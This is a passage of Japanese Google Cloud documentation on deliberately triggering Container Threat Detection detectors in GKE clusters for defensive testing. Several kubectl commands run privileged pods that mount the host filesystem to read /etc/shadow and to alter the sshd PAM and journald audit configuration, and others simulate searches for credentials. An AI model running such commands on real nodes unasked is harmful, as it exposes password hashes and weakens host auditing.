このページでは、検出機能を意図的にトリガーして検出結果をチェックすることで、Container Threat Detection の動作を確認する方法について説明します。Container Threat Detection は、Security Command Center のプレミアム ティアとエンタープライズ ティアの組み込みサービスです。Container Threat Detection の検出結果を表示するには、Security Command Center のサービスの設定で有効にする必要があります。
始める前に
コンテナに対する潜在的な脅威を検出するには、サポート対象バージョンの Google Kubernetes Engine(GKE)にクラスタが存在していることを確認する必要があります。詳細については、サポートされている GKE バージョンの使用をご覧ください。ARM で脅威の検出をテストする場合は、ARM インスタンスを含むノードプールがあるクラスタが必要です。詳細については、GKE での Arm ワークロードをご覧ください。
検出機能を有効にする
次の検出機能はデフォルトで無効になっています。
Added Binary ExecutedAdded Library LoadedCollection: Pam.d Modification(プレビュー)Credential Access: Access Sensitive Files on Nodes(プレビュー)Credential Access: Find Google Cloud CredentialsDefense Evasion: Disable or modify Linux audit system(プレビュー)Defense Evasion: Launch Code Compiler Tool In ContainerDefense Evasion: Root Certificate Installed(プレビュー)Execution: Program Run with Disallowed HTTP Proxy EnvExecution: Suspicious Cron Modification(プレビュー)Exfiltration: Launch Remote File Copy Tools in ContainerPersistence: Modify ld.so.preload(プレビュー)
これらの検出機能をテストするには、明示的に有効にする必要があります。
まず、すべての検出機能のステータスを確認します。
export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
--service=CONTAINER_THREAT_DETECTION \
--project=${PROJECT}
特定の検出機能を有効にするには、次の対応するコマンドを使用します。
検出機能
Added Binary Executedを有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}検出機能
Added Library Loadedを有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}Collection: Pam.d Modification(プレビュー)検出機能を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=PAM_D_MODIFICATION \ --project=${PROJECT}Credential Access: Access Sensitive Files on Nodes(プレビュー)検出機能を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ACCESS_SENSITIVE_FILES_ON_NODES \ --project=${PROJECT}検出機能
Credential Access: Find Google Cloud Credentialsを有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=FIND_GCP_CREDENTIALS \ --project=${PROJECT}Defense Evasion: Disable or modify Linux audit system(プレビュー)検出機能を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=DISABLE_OR_MODIFY_LINUX_AUDIT_SYSTEM \ --project=${PROJECT}検出機能
Defense Evasion: Launch Code Compiler Tool In Containerを有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \ --project=${PROJECT}Defense Evasion: Root Certificate Installed(プレビュー)検出機能を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ROOT_CERTIFICATE_INSTALLED \ --project=${PROJECT}検出機能
Execution: Program Run with Disallowed HTTP Proxy Envを有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \ --project=${PROJECT}Execution: Suspicious Cron Modification(プレビュー)検出機能を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=SUSPICIOUS_CRON_MODIFICATION \ --project=${PROJECT}検出機能
Exfiltration: Launch Remote File Copy Tools in Containerを有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \ --project=${PROJECT}Persistence: Modify ld.so.preload(プレビュー)検出機能を有効にします。gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=MODIFY_LD_SO_PRELOAD \ --project=${PROJECT}
環境変数を設定する
検出機能をテストするには、 Google Cloud コンソールと Cloud Shell を使用します。Cloud Shell で環境変数を設定すると、コマンドを実行しやすくなります。Container Threat Detection のすべての検出機能をテストするには、次の変数を使用します。
Google Cloud コンソールに移動します。
テストに使用するコンテナが含まれているプロジェクトを選択します。
「Cloud Shell をアクティブにする」をクリックします。
Cloud Shell で、環境変数を設定します。
クラスタが配置されているゾーン
export ZONE=CLUSTER_ZONEコンテナが含まれているプロジェクト:
export PROJECT=PROJECT_IDクラスタ名
export CLUSTER_NAME=CLUSTER_NAME
変数が設定されました。次のセクションでは、Container Threat Detection 検出機能をテストする手順を説明します。
追加されたバイナリの実行
追加されたバイナリの実行を検出するには、コンテナにバイナリをドロップして実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/bin/ls を別の場所にコピーしてから実行しています。イメージが Ubuntu 24.04 のものであっても、バイナリのコピーは元のコンテナ イメージの一部ではありません。コンテナの変更はできないため、このバイナリの実行は想定外の動作となります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTバイナリをドロップして実行します。
x86 ノード:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"ARM ノード:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、追加されたバイナリの実行が検出されます。これは、Security Command Center と Cloud Logging で確認できます。 Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
ノイズを軽減するため、コンテナを初めて作成する際に「追加されたバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべてのバイナリ実行の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。
追加されたライブラリの読み込み
追加されたライブラリの読み込みの検出をトリガーするには、コンテナにライブラリをドロップして読み込みます。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/lib/x86_64-linux-gnu/libc.so.6 を別の場所にコピーしてから ld を使用して読み込んでいます。Ubuntu 24.04 上のイメージであり、コンテナが変更されていなくても、ライブラリは元のコンテナ イメージの一部ではないため、このライブラリの読み込みは予期しない動作となります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTライブラリをドロップして
ldを使用して読み込みます。x86 ノード:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"ARM ノード:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、追加されたバイナリの読み込みが検出されます。これは、Security Command Center と Cloud Logging で確認できます。 Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
ノイズを軽減するため、コンテナを初めて作成する際に「追加されたライブラリの読み込み」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に「追加されたすべてのライブラリの読み込み」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。
コレクション: pam.d の変更(プレビュー)
pam.d の変更の検出機能をトリガーするには、ホストの PAM 関連ファイルのいずれかを変更します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、ホストのルート ファイル システムをコンテナにマウントしてから、/etc/pam.d/sshd を変更します。
これはファイル モニタリングの検出機能であり、特定の GKE バージョンの要件があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTホスト上の PAM 関連ファイルの 1 つを変更するバイナリを実行します。
x86 ノード:
tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM ノード:
tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Container Threat Detection のロギングを構成している場合、このテスト手順により「pam.d の変更」の検出結果がトリガーされます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
コマンドと制御: Steganography ツールの検出
Command and Control: Steganography Tool Detected(プレビュー)の検出結果をトリガーするには、ステガノグラフィー ツールと一致するファイル操作機能を備えたバイナリがコンテナ内で実行されている必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして steghide(または stegano などの別のステガノグラフィー ツール)に名前を変更します。この動作は、悪意のある目的でデータを隠したり抽出するためのコンテナを準備しようとしている可能性があることを示すため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTsteghideなどのステガノグラフィー ツール バイナリを実行します。x86 ノード:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"ARM ノード:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
Container Threat Detection のロギングを構成している場合、このテスト手順により Command and Control: Steganography Tool
Detected の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
認証情報アクセス: ノード上の機密ファイルへのアクセス(プレビュー)
機密ファイルへのアクセス検出をトリガーするには、ホストの /etc/shadow ファイルを読み取ります。この例では、最新の Ubuntu 24.04 イメージをデプロイし、ホストのルート ファイル システムをコンテナにマウントしてから、cat を使用して /etc/shadow を読み取ります。
これはファイル モニタリングの検出機能であり、特定の GKE バージョンの要件があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTホストの
/etc/shadowファイルを読み取るバイナリを実行します。x86 ノード:
tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/cat", "/host/etc/shadow"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM ノード:
tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/cat", "/host/etc/shadow"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Container Threat Detection のロギングを構成している場合、このテスト手順により「機密ファイルへのアクセス」の検出結果がトリガーされます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
認証情報アクセス: Google Cloud 認証情報の検索
Credential Access: Find Google Cloud Credentials の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして、名前を grep に変更します。名前が変更されたバイナリを、 Google Cloud 認証情報の形式を示す検索パターンを指定する引数を使用して実行します。このアクションは、 Google Cloud 認証情報の検索を試みたときに観測された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を使用して、
findなどの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"ARM ノード:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: Find Google Cloud Credentials の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
認証情報アクセス: GPG キーの偵察
Credential Access: GPG Key Reconnaissance の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして find(または grep などの別の適切な検索ユーティリティ)に名前を変更します。名前を変更したバイナリを、秘密鍵やパスワードを示す検索パターン、またはパスワードやシークレットを示唆するコンテンツ パターンを指定する引数を使用して実行します。このアクションは、GPG セキュリティ キーの検索を試みたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を使用して、
findなどの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"ARM ノード:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: GPG Key Reconnaissance の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
認証情報アクセス: 秘密鍵またはパスワードの検索
Credential Access: Search Private Keys or Passwords の検出結果をトリガーするには、ファイルの内容を検索できるバイナリをコンテナ内で実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして find(または grep などの別の適切な検索ユーティリティ)に名前を変更します。名前を変更したバイナリを、秘密鍵やパスワードを示す検索パターン、またはパスワードやシークレットを示唆するコンテンツ パターンを指定する引数を使用して実行します。このアクションは、コンテナ化された環境内で秘密鍵やパスワードなどの機密情報を特定しようとしたときに観測された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を使用して、
findなどの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"ARM ノード:
tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
Container Threat Detection のロギングを構成している場合、このテスト手順により Credential Access: Search Private Keys or
Passwords の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
防御回避: Base64 ELF ファイルのコマンドライン
Defense Evasion: Base64 ELF File Command Line の検出結果をトリガーするには、プロセスに引数として base64 と f0VMRgIB(ELF の base64 エンコード形式)が必要です。この例では、最新の Ubuntu 24.04 イメージを使用します。base64 を、-d 引数と f0VMRgIB 引数を指定して実行します。
このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を使用して、
findなどの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"ARM ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、2 つの Defense Evasion: Base64 ELF File Command Line の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。最初の bash -c コマンドと base64 -d コマンドの実行が検出結果の条件を満たしているため、2 つの検出結果が生成されます。
防御回避: Base64 でエンコードされた Python スクリプトの実行
Defense Evasion: Base64 Encoded Python Script Executed の検出結果をトリガーするには、プロセスが引数として echo または base64 を使用している必要があります。また、引数として aW1wb3J0IH(python -c の base64 でエンコードされた形式)を使用している必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。次に、aW1wb3J0IH 引数を指定して echo を実行します。このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を使用して、
findなどの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo aW1wb3J0IH"ARM ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
Container Threat Detection のロギングを構成している場合は、このテスト手順により Defense Evasion: Base64 Encoded Python Script Executed の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
防御回避: Base64 でエンコードされたシェル スクリプトの実行
Defense Evasion: Base64 Encoded Shell Script Executed の検出結果をトリガーするには、プロセスが引数として echo または base64 を使用している必要があります。また、引数として IyEvYmluL2Jhc2gK(#!/bin/bash の base64 でエンコードされた形式)を使用している必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。次に、IyEvYmluL2Jhc2gK 引数を指定して echo を実行します。このアクションは、バイナリデータをデコードして悪意のあるコードを実行しようとしたときに観察された動作を模倣しているため、不審なアクションとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を使用して、
findなどの検索ツールバイナリを実行します。x86 ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"ARM ノード:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
Container Threat Detection のロギングを構成している場合は、このテスト手順により Defense Evasion: Base64 Encoded Shell Script Executed の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
防御回避: Linux 監査システムの無効化または変更(プレビュー)
Linux 監査の変更の無効化または変更の検出をトリガーするには、ホストの監査に関連する構成ファイルのいずれかを変更します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、ホストのルート ファイル システムをコンテナにマウントしてから、/etc/systemd/journald.conf を変更します。
これはファイル モニタリングの検出機能であり、特定の GKE バージョンの要件があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT/etc/systemd/journald.confなど、ホストの監査に関連する構成ファイルのいずれかを変更するバイナリを実行します。x86 ノード:
tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM ノード:
tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Container Threat Detection のロギングを構成している場合、このテスト手順により Disable or Modify Linux Audit System の検出結果がトリガーされます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
防御回避: コンテナでのコード コンパイラ ツールの起動
Defense Evasion: Launch Code Compiler Tool In Container(プレビュー)の検出結果をトリガーするには、コンテナ内でコード コンパイラ ツールを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして gcc10(または clang などの別のコンパイラ)に名前を変更します。この動作は、コンテナ内で悪意のあるコードをコンパイルして実行し、検出を回避したり、その動作を変更する試みを示す可能性があるため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を指定して、
gcc10などのコンパイラ バイナリを実行します。x86 ノード:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"ARM ノード:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
Container Threat Detection のロギングを構成している場合、このテスト手順により Defense Evasion: Launch Code Compiler Tool
In Container の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
防御回避: ルート証明書インストール済み(プレビュー)
ルート証明書インストール済みの検出をトリガーするには、コンテナからホストにルート証明書ファイルを作成します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、ホストのルート ファイル システムをコンテナにマウントします。次に、適切なディレクトリに空の証明書ファイルを作成します。
これはファイル モニタリングの検出機能であり、特定の GKE バージョンの要件があります。
